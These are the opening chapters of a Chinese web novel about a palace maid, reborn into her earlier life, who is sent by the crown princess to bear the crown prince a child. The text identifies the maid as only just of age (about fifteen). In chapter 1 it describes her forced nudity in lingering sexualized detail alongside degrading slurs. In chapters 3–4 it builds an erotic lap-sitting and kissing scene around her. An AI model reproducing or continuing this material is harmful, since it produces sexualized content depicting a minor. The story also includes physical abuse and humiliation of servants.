《重生侍寝当日,说好的太子不近女色呢》
第1章 “殿下在偏殿,收拾好了就跟我过去。”
“脱。”
是夜,满室通明。
清幽的香自角落处的鎏金雕莲紫铜炉中升起,熏得屋里一派恬静安适。
也显得这道女声愈发突兀。
槛儿的脸瞬时褪去血色,死灰一片。「槛:kǎn」
“太、太子妃,奴婢……”
“主子让你脱你就脱!哪来那么多废话!”
庞嬷嬷厉声斥道。
“若不是看你这张脸多少还有点儿用处,这去侍候殿下的好事如何也轮不上你!别在这得了便宜还卖乖!赶紧脱!”
庞嬷嬷近五十的年纪,容长脸、三白眼,鼻翼两侧两道耷拉至嘴角的皱纹。
她是这嘉荣堂的管事嬷嬷,更是太子妃的奶嬷嬷,在东宫可谓独一份的体面。
而槛儿不过是最末等的杂役宫女。
这一年,槛儿在后院吃尽了苦头。
眼下对上庞嬷嬷那张刻薄凶狠的老脸,她的身子几乎反射性地就是一抖。
她不敢再磨蹭。
更不敢问明明半个月前就检查过她的身子了,这会儿为什么又要检查。
随着一件件衣物落下。
那身平日里被槛儿包裹得严严实实的美景,就这么彻彻底底露在了空气中。
入目一片莹润雪白。
薄背细肩,柳腰翘臀。
两条笔直的腿儿宛如涂了一层蜜脂也似,在晕黄的烛光下泛着粉腻清透的光。
当真是青葱玉嫩。
哪怕庞嬷嬷早看过槛儿衣裳底下的景儿,这会儿也还是忍不住在心里咋舌。
他们大靖朝女子,从高祖时期起就以瘦为美。
他们这些做奴才的。
妇人老婆子们就不提。
那些个年纪轻的宫女们。
一眼望去一水儿的细条身子,有的甚至不带低头就能瞧见自个儿的脚尖。
偏生这个槛儿。
臀是臀腰是腰的。
那么宽松的裙子都挡不住那浑圆翘起的弧度,一阵风吹来腰间的布料能陷下去一大截儿!
还有那面前。
鼓鼓囊囊的,哪怕平日里槛儿再怎么使劲拿布裹,也遮不住那高高隆起的弧度。
走起路来一晃三摇。
简直骚得没眼看!
“骚蹄子。”
庞嬷嬷打心底厌恶,嘴上也不掩饰。
槛儿紧咬着牙才没让自己哭出来。
太子妃斜靠在临窗的炕上,轻勾了下唇角。
“走几步我看看。”
她生就一副观音相,圆脸细目雍容端庄,说起话来声音春风般温和柔婉。
一副和善主母的做派。
偏生说出的话比刀子还利,让一个刚及笄的小姑娘不着寸缕在人前走来走去。
可槛儿能说“不”吗?
她闭了闭眼,艰难地迈开步子。
太子妃饶有兴味地看着。
可随即想到这贱婢今晚要去侍候太子,还是她费尽口舌才求来的机会!
太子妃顿时笑不出来了。
若是一年前没被太子撞见那事,若是自己没被太子厌弃,她早生下他的嫡子了。
何至于现在让这贱婢去代她承宠!
替她生子!
“停。”
太子妃掀翻引枕。
庞嬷嬷见她要起身,忙上前搀扶。
槛儿停下来,攥着手忐忑地看着走过来的人,浓密的睫羽止不住颤抖。
太子妃来到槛儿跟前,目光迅速从对方艳丽又稚嫩娇怯的眉眼上掠过。
她眼底的嫌恶更深。
扬手就扇了过去!
槛儿一惊,下意识要跪地求饶,却不知为何动作突然一顿,生生受了这一巴掌。
啪!
清脆响亮的一声。
“日后再让我看到你走个路都能这么摇来晃去的,我不介意让人打断你的腿!”
槛儿顾不得脸上的痛,忙不迭跪下道:“奴婢知错,奴婢谨遵太子妃教诲。”
太子妃居高临下地俯视着她卑微的姿态,心底堵着的气这才畅快了不少。
“这样就对了。”
她轻声道。
“别忘了你去服侍殿下的初衷是什么,又是谁给了你能亲近殿下的机会。
若你以为服侍了殿下就可以不听我的话,或是到时生下孩子却反悔不想把孩子养在嘉荣堂,那你就错了。
你出身低贱,家里人死绝了,宫里也没个能为你出头的,你就是天生的奴才命。”
“我拿捏你,就跟捏死一只蚂蚁一样简单。”
“记住了?”
“是,奴婢记住了。”
槛儿低垂着头恭声应道,纤长的眼睫遮住了她眸底一闪而过的沉静清明。
太子妃摆摆手,让庞嬷嬷把人带下去沐浴。
一年多前,槛儿被安排来嘉荣堂当差时,正值太子跟太子妃大婚的当天。
因着顶的是二等宫女的位置,负责端茶倒水和守在门口传话、打帘子的差事。
所以当时槛儿和另一个二等宫女,在后罩房里分到了一个不错的两人房。
但随着之后槛儿被赶去后面做杂役,她住的屋子就从两人房变成了八人房。
直到一个月前太子妃使人将她叫到前院,说是要给她个侍候太子的机会。
当天晚上。
槛儿就被调到了前面茶房里当差,住的地方也换成了茶房边上的小耳房。
到了住处,槛儿进屋点灯。
庞嬷嬷招
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来两个粗使宫女去打水。
待槛儿进了浴桶,庞嬷嬷板着脸进来放下一身新做的宫女衣裙。
“好好洗,洗仔细了,省得污了殿下的眼!”
说完,带上门走了。
屋里静了下来。
离浴桶不远的柏木条案上,如豆灯火在绘着青松黄蝉的灯罩中静静燃烧。
忽然。
一阵水声荡漾。
槛儿伸手,从条案下方处的小格子里摸出了一个巴掌大的铜镜,举至面前。
镜中赫然出现一张芙蓉面。
分明是一副艳丽娇媚的样貌,眉宇间却又显出几分云娇雨怯之态。
尤其右半边脸两抹似有若无的指印,更衬得这张芙蓉面楚楚动人,我见犹怜。
太子妃是左利,惯用左手。
按常理。
太子妃出身顺国公府,自小娇生惯养,手劲儿并不大,不会轻易在人脸上留印子。
正是清楚这一点,她才敢在这时候对槛儿动手。
殊不知槛儿的皮子最是娇气。
也亏得她是易伤着,却也容易自愈且不会留疤的体质,若不然到处都是疤了。
槛儿迈出浴桶拿了件衣裳挡在面前,悄声来到窗前,透过缝隙往外看。
门外没守人。
她栓上窗重新回了浴桶,而后照着镜子抬起左手,对着那两抹指印比划了几下。
随即。
啪、啪、啪!
清脆但不大的巴掌声。
直至指印处有几缕血丝渗出,槛儿方才停手。
镜子里。
她的眼神沉静镇定,看不出半分惊慌恐惧。
就是眼底溢出了些泪花,上翘的眼尾也泛着小片绯色,活脱脱一副小可怜样。
这也是槛儿刚刚在意识到自己重活了的时候,让她感到无奈的一件事。
因为她发现,自己现在这具身子经历了种种磋磨,已经将对宫里这些贵人主子们的畏惧刻进了骨子里。
而她不能控制好这具身子的某些本能反应。
是的,重活。
槛儿是活过一辈子的人。
上辈子的今天她也被太子妃郑氏送去服侍太子,不同的是上辈子她没受这一巴掌。
不是她胆大躲了这一巴掌。
相反。
因为当时她对郑氏的恐惧到了极致,所以一看到对方抬手她就跪地求饶了。
这一跪,自然躲开了那一掌。
也让郑氏冷静了下来。
后来……
槛儿吐出一口气,把镜子放回条案上,旋即闭上眼“扑通”一下扎进水里。
半个时辰后。
庞嬷嬷来敲门。
“殿下在偏殿,收拾好了就跟我过去。”
第2章 太子爷:“过来。”
门前的廊檐下点着灯笼,光线并不明亮。
槛儿开了门,微侧着身子应是。
见屋里的灯熄了,庞嬷嬷讥讽道:“能去侍候殿下,耐不住了吧?骚劲儿这就起来了。”
槛儿垂头不语。
几根细白的手指在身前绞啊绞的。
一副不安又畏惧的姿态。
心里却在想,上辈子她吩咐慎刑司的人给这老婆子洗嘴时,该让他们先把这嘴拿盐泡上一泡的,省得洗不干净!
嘉荣堂的偏殿位于正房后面。
槛儿跟着庞嬷嬷经耳房廊檐,沿着西侧不长的穿堂绕过去,到了后方的庭院。
一路上檐下都挂着灯笼,路边每隔两丈的位置就站着一个值夜的宫女或太监。
众人皆垂着目,恭肃严整。
整个庭院静得恍若无人之境。
槛儿的心也在这份寂静的影响下提了起来。
上辈子,从见不得人的生子工具到被刻入皇家玉牒的太子良娣,又从淑妃到被庆昭帝独宠了二十年的中宫皇后。
眼看庆昭帝下了禅位诏书,她的小儿子要当皇帝了,她也将成为万人敬仰的皇太后。
人人都道她的一生堪称传奇。
槛儿自己也这么觉得。
所以在得知自己因着旧疾引发了不治之症时,她的心情前所未有的平静。
倒是庆昭帝。
对外连发了好几场怒不说,眼角的细纹也多了不少,一夕之间像是老了十来岁。
槛儿看在眼里,可同时她也是茫然的。
因为说实话,她不太懂庆昭帝对她的感情。
不是槛儿迟钝。
而是对于这个男人,她就没看明白过,也或许是她潜意识里不敢去明白。
天家薄情,帝心难测。
谁人不道一句“最是无情帝王家”?
宫里的女人最忌讳动真心。
庆昭帝还是太子时便是走一步看百步的脾性,他不说便没人敢揣测他的意思。
包括她。
所以哪怕在一起几十年。
槛儿也不清楚,自己对他是敬畏多一些、习惯多一些、还是依赖多一些。
亦或者她是心悦他的?
不过这个问题当时只在槛儿的脑海里短暂地浮现了一瞬,就被她抛到脑后了。
人之将死,想这些没意义。
夫妻二十载,能得他二十年的专宠,享尽世间荣华富贵,她还有什么不满足的呢?
不明白就不明白吧。
抱着这样的想法,槛儿在庆昭帝怀里死得格外安详。
谁曾想再一睁眼——
她不仅见到了年轻时候的死对头,还发现自己身上一片布都没有,光溜溜的!
就很荒谬。
但……
槛儿放在身前的手往下,摸上尚且平坦的小腹,低头强忍着眼底的酸涩。
上辈子这时候,她胆小懦弱。
一心想着活命。
所以她认真做好一个奴才该做的事,听话地把怀胎十月生下来的孩子拱手相让。
哪怕知道她的孩子今后要认郑氏当娘,她也坚定地以为这样对她和孩子都好。
结果呢!
太子遭幽禁,东宫大乱。
她的曜哥儿沦为郑氏的出气筒,被养成一个傻子不说,最后竟还被淹死在了井里!
当时他才四岁。
才四岁啊!
那么漂亮的曜哥儿,那么听话的曜哥儿,就那么一动不动直挺挺地躺在她怀里。
任她如何哭喊,如何悔恨。
小家伙都没有再醒过来。
后来她斗倒郑氏。
亲眼看到对方当着她的面喝下鸩酒,死不瞑目,可她的曜哥儿**就是**。
不会再回来!
现在好了。
槛儿呼出一口气,望向无边的夜空。
不管她重活的缘由是什么,这个节点她一开始就没得选,那就把来时路再走一遍!
总归无论如何。
这辈子她都不会把曜哥儿交到别人手上,让小家伙落得个痴傻早死的下场!
她要让曜哥儿在她身边。
平平安安、健健康康地长大!
“在这儿等着。”
到了偏殿外。
庞嬷嬷冷声说了这么一句,进去通禀。
槛儿站在廊柱旁没再多
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想,省得到了太子跟前露出什么不该有的情绪。
稍顷,庞嬷嬷出来。
“殿下在下棋,最是不喜人打扰,你进去了就先站一旁别吭声,等殿下下完棋叫你了,再请安行礼,懂了?”
“懂。”
槛儿点头,右脸背着光。
庞嬷嬷还想说什么。
但不能耽搁太久,到底还是没再说些不好听的话,摆手让槛儿赶紧进去。
太子在次间,厅堂里守着几个小太监。
槛儿入了内也没乱看。
微垂着头经过堂间那块椰棕万字如意毡垫的一角,穿过落地花罩进了次间。
甫一进去,一缕淡香钻进鼻间。
是太子惯用的香。
槛儿脚下一顿,莫名竟有些却步。
脑海里不受控制地浮现出临终前,庆昭帝那张俊美威严却又显伤痛沧桑的脸。
不过此时不是想其他的时候,短暂的停顿后槛儿自觉寻了个角落站着。
东宫的总管太监海顺正站在太子身侧,余光瞥见她进来,抬目看了过去。
对于槛儿,海顺的记忆很深刻。
无他,这姑娘生得太好了!
说是绝色都不为过。
就是胆子太小。
身段儿丰腴是丰腴但身条儿瞧着还是有些细,也不知能不能承受得住宠爱。
他们殿下这般高大健硕,才二十一,体格就已是几个成年皇子中最伟岸的了。
尤其这三天早上殿下换下的裤子,可都那啥了呢。
咳咳!
下棋讲究谋篇布局、利弊权衡。
从下棋便能看出一个人的胸襟、洞察力、智慧和谋略,而太子有一手出神入化的棋艺。
众皇子中无一人能胜。
每逢下棋,都是太子最专注凝神的时候。
于是槛儿这一站便是小半个时辰。
等到太子落下最后一子,复盘完棋局,海顺适时领着小太监上前为其净手。
待太子净好手,几个小太监无声退下,屋里再度剩了槛儿与太子主仆二人。
太子总算掀起眼帘朝槛儿看去。
“过来。”
第3章 太子爷:“怕孤?”
男人的声音清冽。
像冬夜里的一坛酒,醇香里夹杂着一股凉凉润润的感觉,让人忍不住就酥了耳根子。
槛儿听惯了他的声音。
没太大感觉。
可耐不住她现在的身子青涩!
太子的声音刚一进耳朵,槛儿的耳根就止不住发痒,身体也跟着紧绷起来。
她只得强忍着这些本能反应,屈膝应声,再状若无事地快步朝太子行去。
然后到了跟前,盈盈拜下。
“奴婢给殿下请安,殿下千岁金安。”
槛儿的声音轻,带着独属于少女的柔软清甜和一丝说不清道不明的韵味。
海顺听得一个激灵。
当即要撇开视线。
这时,他注意到小宫女低着的侧脸有些不对劲。
“殿下,您看这……”
太子,也就是骆峋。
骆峋顺着海顺的视线看去。
但他这个角度只能瞧见小宫女的发顶。
他不显地蹙了蹙俊眉。
“抬起头来。”
顿了顿,“看着孤。”
他的语调冷淡,哪怕只是简单几个字,无形之中也透着一股浓浓的压迫感。
“是。”
槛儿没敢怠慢。
视线所及之处先是他玉色底绣龙腾四海纹的袍摆、劲瘦的腰腹、宽阔的胸膛,再经凸起的喉结定格于那张俊脸上。
是真的俊。
鬓若刀裁、眉如墨画。
白皙的面庞宛若最上等的羊脂白玉,轮廓优越棱角分明,一双丹凤眸深邃狭长。
那漆黑的瞳似化不开的墨。
冷若清霜,深如幽潭。
四目相对,槛儿听到了自己的心跳声。
砰、砰的。
上辈子槛儿太过畏惧他身上的气势,几乎从不敢这么认真仔细地看他。
等到她敢真正看他的时候,太子已经成了庆昭帝,她也从太子良娣成了淑妃。
此时此刻。
看着男人年轻的脸,槛儿心里忽然有一种恍然和说不清道不明的艰涩。
骆峋自是不知眼前这小宫女在想什么,见她漂亮的眼睛里蒙着一层水光。
眼圈儿红红的,樱桃小口还颤啊颤的。
他先是一怔。
心想她胆儿真是小。
明明前面三晚在他梦里那般勾着他,害他连着这三天早上都……
注意到槛儿右颊上的指印。
骆峋黑眸轻眯,朝海顺看一眼。
后者心领神会,迅速出去了。
槛儿知道海顺去做什么。
她打自己的这几下,一则为了给郑氏添堵,二则也是为了暗中向太子表明立场。
好方便应对接下来的事。
只是槛儿现在没心思想太多了。
因为——
屋里就剩了她和太子。
许是受这具身子的影响,也许是屋里太静,放大了太子身上本就逼人的威严。
竟让槛儿真有些紧张起来了。
于是骆峋就看到。
小宫女氤氲着一层水汽的眼里汇聚起泪珠,晶莹剔透的,衬得那双蜜色的瞳子如浸在泉水里的宝石也似。
偏眼尾狭长上扬,勾人的媚意浑然天成。
像极了一只刚化人形的精怪。
单纯懵懂,蛊人而不自知。
骆峋到嘴边的冷硬话戛然而止。
又想她在梦里最是大胆,什么花样都敢往他身上使,什么乱七八糟的话都敢对他说。
这会儿倒是一副怕他吃了她的样子。
“起来。”
槛儿刚准备暗自冷静冷静,就听男人冰冷的嗓音,眼前也赫然出现一只大掌。
她错愕地抬头。
上辈子这时太子可没向她伸过手,叫她起来前也先问了别的,怎么这辈子……
槛儿心里疑惑,面上没敢耽误。
抬起手轻轻搭在那只大掌上,“多谢殿下。”
男人的手很大,掌心温度也高。
肌肤相触的瞬间。
槛儿的指尖仿佛被灼了一下,同时一缕熟悉的酥麻感顺着指尖迅速蹿开。
槛儿只觉心尖儿一颤。
方才站了太久的腿蓦地一软。
下一刻,她整个人坐在了太子结实的腿上。
骆峋只觉一阵馨香扑鼻。
怀中便多了具馥软的身子,左腿上突的一阵绵软,肌肉不自觉地就是一绷。
“殿下!”
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>槛儿下意识轻呼,窘着脸想站起来。
哪知腿竟真麻了!
她才一动,又痛又麻。
槛儿倒吸一口凉气,身子忍不住又是一歪,脑袋撞上了男人结实宽阔的肩。
而这一下也让她坐得更沉更实。
如今四月中旬,正值初夏时节。
衣衫本就穿得不多,料子也薄。
槛儿这么一坐,严丝合缝。
薄薄的布料根本挡不住二人的体温和肌理。
一个坚硬结实。
一个圆润绵软。
“殿下息怒,奴婢、奴婢……”
槛儿的脸爆红,也是真有些慌了。
她现在只是个小宫女,还没承宠,而太子最是重规矩,容不得人放肆。
上辈子他们在一起时他虽然贪那个,但一下了榻他就会恢复平日里的冷峻漠然。
太子爷的尊贵威仪不可侵犯。
若是让他误会她这番动作是为了勾引他而刻意做出来的,那可就不妙了!
这么一想,槛儿更恨不得马上站起来。
可问题是,腿麻是一时半会儿能好得了的?
相反,槛儿越想站起来,腿上那一阵阵的痛感越强,以至于她连着三次不仅没能起来,反而和太子贴得更紧了。
骆峋额角青筋微跳。
怀中贴得愈发紧实的娇躯和左腿上的紧压磨蹭,让他的身体僵了又僵,一股陌生又熟悉的躁动来势汹汹。
他忍了又忍,没忍住。
一把攥住抵在他胸膛上的小手,紧扣着那把纤腰。
“坐好!”
海顺进来时刚巧听到这句。
见小宫女竟坐在太子怀里,海顺下意识就以为是这小宫女不庄重,惹恼了太子。
他心头一紧,这就要上前叱责。
谁知才迈开脚,太子爷冰冷的视线就投了过来。
“滚出去!”
好嘞!
海顺脚下都不带顿的。
槛儿脸红似滴血,一动也不敢动。
“殿下……”
骆峋的眸光在她绯红的脸上巡睃,经过那两抹渗着血丝的印子时顿了顿,最后对上她艳丽怯怯的眉眼。
“怕孤?”他冷冷问。
第4章 太子他不太会亲,太子第一次翘嘴了!
这不废话吗?
雍容华贵的太子爷,一个伺候不好就是掉脑袋的罪,她一个小宫女敢不怕?
然而这话是万不能说的。
“不是怕……”
对上他深幽的视线,槛儿有些受不住地垂眸偏了偏头,声音细细小小的。
“不是怕,那是什么?”
槛儿:“是、是敬畏。”
骆峋想说敬畏不还是怕?
可很快反应过来,敬畏除了怕还有敬。
他的眉梢不显地扬了扬。
“所以你就敬到孤身上了?”
槛儿:“……”
离得近了,他的声音格外有种蛊惑人的磁性,让人酥了耳的同时也软了身。
又听他一本正经问出这样的话。
槛儿浑身都止不住烫了起来。
也是上辈子被他调教得很了,以至于她对他的目光、声音、气息越来越敏感。
哪怕后来成了老夫老妻,孩子都生过三个了,她也做不来这么近距离同他说话。
抿抿唇,槛儿索性破罐子破摔。
大着胆往他的肩头软软一靠,柔声道:“殿下,奴婢想服侍您,可以吗?”
骆峋面不改色,对上小宫女清澈的蜜瞳,没忘记她是来替郑氏承宠的。
“嗯。”
他微微颔首。
“但你需先回答孤的问题。”
槛儿懵懂不安,心里却清楚他要问什么。
骆峋看着她,沉声道:“对于把孩子养在嘉荣堂一事,你如何想?”
和上辈子一字不差。
而她当时是怎么答的?
槛儿想了想。
她说,奴婢全凭太子妃做主。
对一个任主子摆布的奴才来说,这个回答是最能表忠心,也最安全合适的。
尽管当时的槛儿并不愿。
可谁让她出身低贱,是天生的奴才命呢,这样的话自打槛儿出落得一天比一天娇媚,身边就总有人对她说。
说她生得再好也没用,横竖都是要给人当奴才,还说她狐媚子长相上不了台面,只能背地里给太监们做对食。
说的人多了,时间一久她就信了。
尤其那时槛儿曾亲眼目睹过不听主子话的宫人被生生杖毙,烂肉连着森森白骨,鲜血满地肉沫横飞。
竟是被活活打成了两截!
槛儿不想死,更不想是那样的死法。
因此上辈子这时候在面对太子的提问时,槛儿没有丝毫犹豫地就表忠心了。
她以为太子想听的,就是这个。
但事实是,她答错了。
当时太子的神情冷得骇人。
甚至不打算幸她,起身要走。
可这怎么行?
太子这一走,太子妃就会嫌她没用,可能随便寻个由头就把她杖毙了。
槛儿不想被杖毙。
她太怕了。
她慌不择路地抱住太子,恬不知耻地告诉他,她虽是奴婢,可身子是干净的。
不知是她哭得太惨,让太子于心不忍,还是因为别的,总归后来太子幸了她。
虽然过程并不美好。
但就是那一次,她怀上了。
“哭什么?”
男人的声音将槛儿的思绪拉了回来,槛儿抬手,果然摸到了一片湿意。
“殿下恕罪。”
她要起身,被骆峋按住了。
看着她红红的眼眶,想起方才她脸上近乎悲怆的神情,他道:“就这么说。”
“奴婢不敢说。”
槛儿期期艾艾地看着他。
骆峋掏出一方帕子,拭去她粉颊上的泪。
“恕你无罪。”
他神情淡然,看不出情绪。
槛儿放在袖下的手微微收紧,随即似是下了很大的决心道:“殿下,奴婢不愿。”
她很认真地看着太子,眼神坚毅明亮。
如骄阳下的磐石。
坚不可摧,耀眼夺目。
骆峋看着,心里像是被什么戳了一下。
“不愿,为何?”
槛儿假装没注意到他眼里的审视,脱口而出:“因为是奴婢和殿下的孩子啊。”
若非形势所迫,若非身不由己,哪个做母亲的会愿意把亲生孩儿拱手相让呢?
槛儿眨去眼里的涩意。
尽量采用符合她这个年龄和身份的说辞。
“殿下天人之姿,奴婢不敢有非分之想,但能得以侍候殿下,奴婢很欢喜。
奴婢年纪轻,不懂女子怀胎是什么感受,也不清楚如何做好一位合格的母亲,但……”
她笑了下,有几分难为情。
“奴婢也曾为人子女,虽说奴婢的娘已经走了很久,可奴婢还记得她的音容笑貌,记得幼年时她对奴婢的疼爱和呵护。
奴婢想,奴婢若有幸和殿下有了孩儿,必定会同奴婢的娘亲爱护奴婢一样,珍之爱之。”
上辈
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子的遗憾再如何悔恨都无济于事,她现下要做的是竭尽所能抓住这个机会。
“所以殿下,奴婢不愿。”
说到最后槛儿状似气弱,但她的眼神却没有任何逃避,依旧清亮专注。
骆峋的唇角不经意扬起一抹很浅的弧度,平静的眼里也漾起一圈涟漪。
说不出的俊**人。
槛儿猝不及防对上男人映着星辰的眸子,抓着他手的动作不禁顿了顿。
骆峋微抿唇,恢复惯有的不苟言笑。
搂着槛儿柳腰的大掌迟疑了一下,还是将人往面前带了带,嗓音低沉。
“生产不易,不怕?”
“那不有您吗?”
意识到自己这话接得快了,说到尾音处槛儿的声音小得都快听不见了。
但骆峋听见了。
有他在,所以不怕?
骆峋看着小宫女红艳艳的小嘴儿,水润丰盈吐气幽兰,如进贡上来的新鲜樱桃。
呼吸间隐隐透着一缕甜香。
他不爱吃樱桃,觉得不太可口。
可现在,骆峋忽然有些想吃了。
他也真的吃了。
淡粉的薄唇印上饱满嫣红的菱唇,相贴的瞬间,两人的身子似乎都僵了一下。
男人的眼睛里似藏着一团浓雾,丝丝缕缕的,让槛儿感到一阵心悸。
可这样的他,也是她最熟悉的。
仿佛受了蛊惑。
槛儿微微启唇,照着男人的下唇含了一下。
骆峋本是没想到自己有朝一日竟也会这般情不自禁与哪个女子如此亲密。
岂料她竟这般放肆。
骆峋的心底陡然蹿起一把火,他想她果然和梦里一样胆大,一来就勾他!
喉间一滚,骆峋再无顾忌。
一口衔住她花瓣似的唇肉,啃咬吮食。
又甜又软,果然美味。
只是他倒吃畅快了,槛儿就遭老罪了。
因为太子他不太会亲!
槛儿有意引导,奈何她早习惯了太子的气息,这具身子又实在经不住逗弄。
槛儿只觉昏昏沉沉的。
双手习惯性就攀上他的脖颈,玲珑馥软的身子愈发严丝合缝地迎合着他。
骆峋眸色更暗。
放在她腰间的手缓缓往下。
突然,落地罩外一阵轻响。
海顺背对着屋内,满头冷汗。
“殿、殿下,陛下宣您去乾元殿。”
第5章 这就要给位份了?
“可有说何事?”
骆峋坐直身,声音依旧清冷。
但细听便能听出其间夹杂的喑哑。
“说是康国公府的三公子打着您与皇后娘娘的名号在赌坊跟人闹起来了,把平民牵涉了进来,据说闹得挺大。”
康国公府乃当朝裴皇后的娘家。
也就是太子的母族,太子的忠实拥护者。
不过……
槛儿轻喘着,有些恍惚地想。
上辈子没有这事的。
“知道了。”
骆峋应了声,低头看怀中的人。
见她双颊酡红,媚眼如丝。
卷翘的浓睫上一片细细密密的潮意,娇嫩的唇瓣经吮吸愈显饱满浓艳,微敞的衣襟下粉光若腻,极尽绮靡撩人之态。
他拨开槛儿脸颊上的一缕发丝。
“孤有事,先走了。”
元隆帝有事召见太子,槛儿自是不会在这个时候做出什么缠着人不放的事。
但以她现在的身份和处境,这种情况当着太子的面肯定不能表现得太镇定。
“奴婢还能见到殿下吗?”槛儿小声问。
骆峋惯是个不会哄人的。
他也没哄过谁。
眼下即便是对上小宫女春情尚未褪去的眉眼,他心里也没什么特别的感觉。
但大抵是两人刚刚都那般亲密了,且她方才的答话和反应又难得合他心意。
于是骆峋耐着性子颔了颔首。
“嗯。”
见她右颊上的红痕因她脸上的绯色愈发明显,他拿指尖在那处轻碰了下。
“一会儿让人送点药过来。”
话题转得太突然,槛儿懵了一下。
这一下看在骆峋眼里就成了她还不知道自己脸上留了印,倒是更具有说服力。
不过骆峋没多说。
他清心寡欲惯了。
除了前面三晚莫名其妙的梦。
他至今没对谁有过欲念,这会儿几句话的功夫,体内的躁动也平复下来了。
拍拍槛儿的手示意人起身。
海顺领着人进来伺候太子整理仪容,也来了两个小宫女给槛儿收拾。
一通收拾弄罢,槛儿将男人送至门口。
骆峋侧首看她一眼。
如今虽已步入夏季,但夜里多少还有些凉。
槛儿身上穿的是盛夏时节的衣裳,素淡的薄衫经夜风吹拂勾勒着她丰满柔美的曲线,也为其平添了几分羸弱之感。
骆峋眉头轻蹙,看眼海顺。
后者福至心灵,笑眯眯假作询问一番:“若不奴才叫人送槛儿姑娘回去?”
太子殿下面无表情:“嗯。”
“多谢殿下,劳烦海总管了。”
槛儿规矩甚好地行礼谢恩。
骆峋随意瞥她一眼。
小宫女行完礼悄悄抬眸看他,他看过去,对方当即像似受惊一般垂下眼帘。
但不知为何那两片鸦睫一阵轻颤后又徐徐掀起,一双美目里没有假做出来的情意绵绵,只藏着几分娇羞敬畏。
骆峋未置一词,收回视线负手而去。
出了嘉荣堂。
骆峋从元隆帝派来请他过去的太监口中,得知了裴三公子**的具体始末。
知道这又是他那几个好皇兄中的谁在使绊子,给他那位三表兄下套了。
骆峋的唇角勾起一抹不显的冰冷弧度。
旋即他想起一件事:“如何?”
“外头有人听到了声音。”
海顺躬腰低声禀道。
“说是听着像是扇了巴掌,但不清楚具体发生了什么,屋里只庞嬷嬷在伺候。”
骆峋面不改色,眸光晦暗不明。
良久。
他道:“明日收拾个院子出来。”
这就要给位份了?
海顺面上四平八稳地应着,心里却是忍不住感叹这小宫女的运气可真是好。
要知道她可是来替太子妃承宠的。
这种情况可算不得太子的妾。
名分也得等生了孩子之后才会给。
如今却是宠都还没承,就要给位份了。
啧啧。
正想着,前面突然再度响起太子疏冷的声音:“昭训吧,明日午膳前去传口谕。”
“……昭、昭训?”
海顺一怔。
大靖东宫沿袭的是古唐储君妻妾制。
太子妃之下有良娣二人、良媛六人、承徽十人、昭训十六人、奉仪二十四人。
也就是说,太子拢共可有五十八位妾。
然而太子打小就是个冷人。
早年又因后宫纷争经历了一桩事。
落了个见不得人的癖病。
自此,太子的心性更淡薄了。
现如今东宫后院里仅有的三个妾室,还都是太后在世时逢选秀赏下来的。
让海顺来看。
那小宫女还没承宠,又是没品阶的杂役出身。
给个正九品的奉仪位份,大小是个主子,对那小宫女来说就算得上是顶好的了。
结果殿下开口就是正七品的昭训。
骆峋睨他:“有问题?”
海顺忙不迭摇头。
太子爷决定的事。
轮不到他觉得有问题没问题,他是没想到太子一来就要给小宫女昭训的位份。
可转念想,他们的这位太子妃惯是个好面子活儿的,对外总能做到面面俱到,无时无刻不在彰显她的端庄贤德。
但私底下却总是小动作不断。
就譬如这件事。
明明是她起的头,理由也挺冠冕堂皇,好不容易殿下同意,她表现得也很高兴。
那你就把人送过来不就行了?
偏临到太子要幸人的时候给了人一巴掌,谁知道这一巴掌是为什么打的呢?
又把殿下当什么了?
也怪不得
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殿下要抬小宫女的位份呢。
这么被人下脸子,能不恼么?
.
槛儿回了住处。
她前脚进屋点上灯,后脚门就被敲响了。
开了门,是个面生的宫女。
“你是槛儿?”
那宫女迟疑问道,眼里闪过一抹惊艳。
槛儿:“是,你是……”
“我是元淳宫的。”
宫女从袖中掏出一个圆肚小瓷罐来。
“这是海公公让我给你送过来的。”
元淳宫位于东宫的第三进院,是太子起居的地方,与嘉荣堂隔着一个穿堂和庭院。
“谢谢姐姐。”
槛儿接过小瓷罐,浅笑道。
那宫女被这个笑晃了眼,回过神来忍不住红脸,“不谢不谢,早些歇着吧。”
说完,转身走了。
槛儿关上门绕到墙角处的帘子后洗了把脸,坐到简陋的妆台前拿起那小瓷罐。
瓷罐是青白釉的,颜色清澈透亮质感细腻光滑,罐身印着云纹,甚是雅致。
盖儿一打开,一股淡淡的药香,里面是浅粉色半透明状的膏子,质地澄澈莹润。
槛儿用指尖蘸了下,抹在耳后。
一股沁凉感瞬间四散开来。
等了会儿没感到什么不适,槛儿便照着镜子在脸上两抹痕迹的地方抹了抹。
抹好药,槛儿看着镜子里的自己。
嘴唇红艳艳的,上面仿佛还残留着男人的气息。
她拿指尖抚了抚,心里说不出的滋味。
上辈子的今晚这人从头到尾没亲过她,哪怕她都被弄哭了,也没见他怜惜。
没想到这辈子……
槛儿心里五味杂陈,也有些羞。
吃得这么狠这么急,她嘴里这会儿都还是他的触感和夹杂着淡香的味道。
麻麻的。
没好意思再想下去,槛儿红着脸转身上榻,然后望着帐顶摸了摸腹部。
上辈子的今晚她侍了寝,没多久曜哥儿就来了,这辈子莫名出了意外,那之后她怀的还会是曜哥儿吗?
翌日一早,嘉荣堂卧房里。
太子妃郑明芷在宫人的服侍下净面漱口,不知想到了什么,她突然笑了下。
“昨晚她是何反应?”
庞嬷嬷正为自家主子挑选要穿的几套衣裳,闻言明白这是在说那小骚蹄子。
她有些踌躇:“那蹄子……”
郑明芷的笑淡了下来,“说。”
庞嬷嬷只好道:“回主子,下面的人来报说、说昨晚殿下安排了人送她回去。”
郑明芷的眼底彻底蒙上一层冰寒,正伺候她梳妆的宫女们立时跪了一地。
“把她给我叫过来。”
庞嬷嬷想劝:“您先息怒……”
啪!
郑明芷拿起妆台上的步摇往地上一掼。
“我说叫那贱婢过来!”
第6章 太子妃一怒之下怒了一下!
自打槛儿一个月前被调到茶房当差,她每天的活计就是守在风炉跟前烧水。
风炉即用于煮茶的炉子。
外形像鼎,有三足两耳,内置炭火。
槛儿要做的就是往炉子里加炭,保证一天下来里面的火不断,茶房随时有开水。
活儿很轻松。
不拘于站着,想坐就坐,想喝茶了还能拿主子们不要的边角料茶叶泡茶喝。
算得上顶顶轻省的。
太子给的药好,不过一夜的功夫,槛儿脸上的指印和红血丝就消了下去。
省了盖粉的时间,茶房今儿就数她来得最早。
先查看炉里的火,见火势有些大,槛儿夹了两块炭出来,又往壶里添了水。
刚做完这事,正房那边来人了。
槛儿放铜壶的动作微顿,第一时间就猜到郑氏这时候叫她过去是为了什么。
她暗觉好笑,放好壶跟着那人往正房去。
